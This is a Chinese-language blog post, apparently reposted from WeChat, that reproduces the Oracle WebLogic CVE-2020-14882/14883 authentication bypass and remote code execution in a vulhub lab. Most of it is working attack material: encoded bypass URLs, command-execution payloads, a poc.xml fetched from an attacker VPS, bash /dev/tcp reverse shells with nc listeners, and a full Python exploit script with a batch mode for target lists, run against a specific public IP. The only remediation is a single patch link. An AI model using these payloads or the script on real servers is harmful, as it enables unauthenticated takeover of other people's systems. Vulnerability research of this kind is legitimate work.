一、漏洞介绍
0x01 漏洞介绍
Oracle WebLogic Server 存在权限绕过漏洞(CVE-2020-14882),攻击者可以通过构造恶意payload绕过登录,直接进入控制台;并且在此基础上,weblogic还存在远程代码执行漏洞(CVE-2020-14883)并且POC已经被公开,攻击者可以绕过身份验证然后通过构造恶意的HTTP请求,利用此漏洞可在未经身份验证的情况下直接进入WebLogic Server Console,并且通过执行命令来获取系统权限。
二、影响版本
Oracle Weblogic Server 10.3.6.0.0
Oracle Weblogic Server 12.1.3.0.0
Oracle Weblogic Server 12.2.1.3.0
Oracle Weblogic Server 12.2.1.4.0
Oracle Weblogic Server 14.1.1.0.0
三、漏洞复现
0x01 环境搭建
(1):使用新的vulhub进行搭建
git clone https://github.com/vulhub/vulhub.git
这种方法真的是太慢了。我试了各种加速的方法都失败了。
直接下载到本地,然后上传到VPS上使用unzip解压,一分钟完成。
(2):启动weblogic环境
本次漏洞复现采用vulhub的环境,weblocig的版本为12.2.1.3.0,该版本存在漏洞。
docker-compose up -d
(3):访问控制台
如图表示环境搭建成功。
0x02 权限绕过复现(CVE-2020-14882)
(1):权限绕过的POC
/console/images/%252E%252E%252Fconsole.portal
/console/css/%25%32%65%25%32%65%25%32%66console.portal
大写换成小写可绕过补丁:
/console/images/%252e%252e%252fconsole.portal
/console/css/%252e%252e%252fconsole.portal
可以通过构造的请求包直接进行绕过。注意需要使用编码来进行绕过。
0x03 构造GET请求包执行命令(CVE-2020-14882)
(1):直接执行命令
http://xxx.xxx.xxx:7001/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27whoami%27);%22)
这种方式没有回显,无法确定是否执行了命令。
(2):使用dnslog
①:获取dnslog
②:执行如下命令
http://xxx.xxx.xxx.xxx:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%20wexqq0.dnslog.cn');")
成功获取数据。
0x04 构造POST请求包执行命令(CVE-2020-14882)
(1):使用未授权访问控制台
http://xxx.xxx.xxx.xxx:7001/console/css/%252e%252e%252fconsole.portal
(2):抓包并修改payload
payload如下
GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();') HTTP/1.1
Host: IP:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
Accept: */*
Referer: http://IP:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27111%27);%22);
Accept-Encoding: gzip, deflate
cmd:whoami && ls
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=8guoLM33tVnPrUomY4v8yi8C9bd-Glfq8JOrW2ntH-gJYHZ-oGgQ!1524101341
Connection: close
(3):执行命令
一个小插曲,之前把上面payload中的最后两行删除了,一直执行不了命令,觉得非常奇怪,后面才知道正常的payload后面就是会有两行空行(所以上面的payload多加了两行空格),之前一直没有注意。
(4):反弹shell
①:VPS进行监听
nc -lvp 1234
②:执行命令反弹shell
将上面的payload中执行命令的地方换成下面的命令
bash -i >& /dev/tcp/VPS/port 0>&1
③:成功getshell
0x05 构造poc.xml文件执行命令(CVE-2020-14883)
(1):构造请求包请求dnslog
①:获取dnslog
②:构造poc.xml文件
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[curl 9ljqbh.dnslog.cn]]></value>
</list>
</constructor-arg>
</bean>
</beans>
③:将poc.xml文件放在自己的VPS上,并开启web服务
python2 -m SimpleHTTPServer 9000
④:构造请求包
http://xxx.xxx.xxx.xxx:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://开启web服务的VPS:端口/poc.xml")
⑤:查看dnslog上的流量
发现上面有返回的数据。
(2):反弹shell
①:修改poc.xml文件
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/VPSIP/1234 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
将上述文件放在VPS上
②:开启web服务
python2 -m SimpleHTTPServer 9000
③:VPS进行监听
nc -lvp 1234
③:执行payload
http://xxx.xxx.xxx.xxx:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://开启web服务的VPS:端口/poc.xml")
④:成功getshell
四、使用脚本进行getshell
0x01 python脚本如下
#coding:utf-8
import requests
import sys
import argparse
import http.client
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
requests.packages.urllib3.disable_warnings()
#功能1方法:回显命令执行。
def command(url_cmd,headers_cmd,url):
try:
res = requests.get(url_cmd, headers = headers_cmd,timeout = 15, verify = False)
if " not in res.text and " not in res.text :
print ("[+] Command success result:")
print (res.text)
else:
print ("[-] " + url + " not vulnerable or command error!")
except Exception as e:
#print (e)
print ("[-] " + url + " not vulnerable or command error!")
#功能2方法:无回显,命令执行,适用于Weblogic 10.x、12.x。
def weblogic_12(url_cmd,post_12,headers_12):
try:
res = requests.post(url_cmd, data = post_12, headers = headers_12,timeout = 15, verify = False)
#print ("[+] Attack complete!")
except Exception as e:
print ("[+] Attack complete!")
def main():
banner = """ _______ ________ ___ ___ ___ ___ __ _ _ ___ ___ ___
/ ____ / / ____| |__ / _ __ / _ /_ | || | / _ / _ __
| | / /| |__ ______ ) | | | | ) | | | |______| | || || (_) | (_) | ) |
| | / / | __|______/ /| | | |/ /| | | |______| |__ _> _ < > _ < / /
| |____ / | |____ / /_| |_| / /_| |_| | | | | || (_) | (_) / /_
_____| / |______| |____|___/____|___/ |_| |_| ___/ ___/____|
Author:GGyao
Github:https://github.com/GGyao
"""
print (banner)
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="Target URL; Example:http://ip:port。")
parser.add_argument("-f", "--file", help="Target File; Example:target.txt。")
parser.add_argument("-c", "--cmd", help="Commands to be executed; ")
parser.add_argument("-x", "--xml", help="Remote XML file; Example:http://vpsip/poc.xml; ")
args = parser.parse_args()
#功能1:命令回显。
if args.url != None and args.cmd != None:
url = args.url
url_cmd = args.url + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%5C%5CA").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"""
headers_cmd = {
'User-Agent':'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',
'cmd':args.cmd,
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Content-Type':'application/x-www-form-urlencoded'
}
#post_cmd = """_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("cmd")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3b+res.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3bres.getWriter().write("")%3b}')"""
#command(url_cmd,post_cmd,headers_cmd,url)
command(url_cmd,headers_cmd,url)
#功能2:weblogic 12.x命令执行。
if args.url != None and args.xml != None:
url_cmd = args.url + '/console/images/%252e%252e/console.portal'
headers_12 = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Content-Type':'application/x-www-form-urlencoded'
}
post_12 = """_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22{}%22)""".format(args.xml)
weblogic_12(url_cmd,post_12,headers_12)
# 功能3:回显命令执行批量。
if args.file != None and args.cmd != None:
#print (1)
for File in open(args.file):
File = File.strip()
url_cmd = File + """/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("%5C%5CA").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')"""
print ("[*] >>> Test:" + File)
url = File
headers_cmd = {
'User-Agent':'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0',
'cmd':args.cmd,
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Content-Type':'application/x-www-form-urlencoded'
}
#post_cmd = """_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("cmd")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3b+res.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3bres.getWriter().write("")%3b}')"""
command(url_cmd,headers_cmd,url)
if __name__=="__main__":
main()
0x02 使用python脚本执行命令
python3 CVE-2020-14882_ALL.py -u http://116.62.106.123:7001 -c "whoami"
0x03 反弹shell
①:设置poc.xml文件
②:开启web服务
python2 -m SimpleHTTPServer 9000
③:进行监听
nc -lvp 1234
④:执行命令
http://xxx.xxx.xxx.xxx:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://开启web服务的VPS:端口/poc.xml")
⑤:目标主机成功getshell
五、修复建议
0x01 安装最新补丁
https://www.oracle.com/security-alerts/cpuapr2020.html
原文始发于微信公众号(想走安全的小白):CVE-2020-14882/14883WeblogicConsoleHTTP协议远程代码执行漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论